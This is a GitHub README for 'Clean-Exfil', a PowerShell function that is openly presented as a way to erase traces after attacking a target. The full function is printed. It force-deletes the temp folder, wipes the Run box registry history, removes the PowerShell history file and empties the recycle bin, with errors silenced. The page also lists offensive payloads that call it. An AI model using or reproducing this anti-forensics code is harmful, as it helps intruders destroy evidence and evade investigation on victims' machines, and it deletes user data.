Skip to content

Latest commit

 

History

History
117 lines (84 loc) · 3.24 KB

Clean-Exfil.md

File metadata and controls

117 lines (84 loc) · 3.24 KB

Logo

Table of Contents
  1. Description
  2. The Function
  3. Examples
  4. Contact
  5. Acknowledgments

Clean-Exfil

Python
YouTube Tutorial

Description

This function is to erase any trace of you after wreaking havok on your target

The Function

[Clean-Exfil]

You will Delete contents of Temp folder, Delete run box history, Delete powershell history, and Deletes contents of recycle bin

function Clean-Exfil { 

# empty temp folder
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue

# delete run box history
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f

# Delete powershell history
Remove-Item (Get-PSreadlineOption).HistorySavePath

# Empty recycle bin
Clear-RecycleBin -Force -ErrorAction SilentlyContinue

}

(back to top)

Examples

Listed below are payloads that have used one of these functions:

ADV-Recon

ET-Phone-Home

AcidBurn

(back to top)

Contact

📱 My Socials 📱

C#
YouTube
Python
Twitter
Golang
Instagram
Jsonnet
Discord

(back to top)

Acknowledgments


HOME-PAGE

(back to top)